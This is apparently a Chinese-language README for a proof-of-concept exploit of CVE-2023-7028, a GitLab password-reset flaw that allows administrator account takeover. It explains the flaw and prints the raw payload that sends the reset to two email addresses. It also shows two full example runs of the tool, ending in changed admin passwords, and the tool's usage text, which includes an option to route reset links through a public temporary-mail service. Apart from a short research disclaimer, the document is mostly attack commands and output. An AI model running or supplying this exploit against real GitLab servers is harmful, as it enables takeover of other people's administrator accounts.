此代码是该漏洞的概念验证，我不鼓励任何人将其用于不属于自己的 Gitlab 实例。
此工具仅用于研究和教育目的，对于您使用它所做的任何行为，我概不负责。
CVE-2023-7028 是一个账户接管漏洞，允许用户在无需目标用户交互的情况下接管 Gitlab 管理员账户。
该漏洞存在于重置密码时的电子邮件管理机制中。攻击者可以提供两个电子邮件地址，重置代码将同时发送到这两个地址。
因此，攻击者可以同时提供目标账户的电子邮件地址和攻击者自己的电子邮件地址，从而重置管理员密码。
（Gitlab 指出，双因素认证可以防止此漏洞被利用，因为即使攻击者重置了密码，也无法登录。）
该漏洞由 asterion04 发现
以下是一个示例 payload
user[email][][email protected]&user[email][][email protected]
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: l3mG2v2XN4UBzbN18ZkW
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: EU7XIYjlawjb5tH2jgmU
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]
This tool automates CVE-2023-7028 on gitlab
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
如果不使用 --evil 选项（用于指定攻击者的电子邮件地址），脚本将使用公共临时邮箱来查找密码重置链接。
=> 如果在渗透测试中使用此 POC，请务必小心。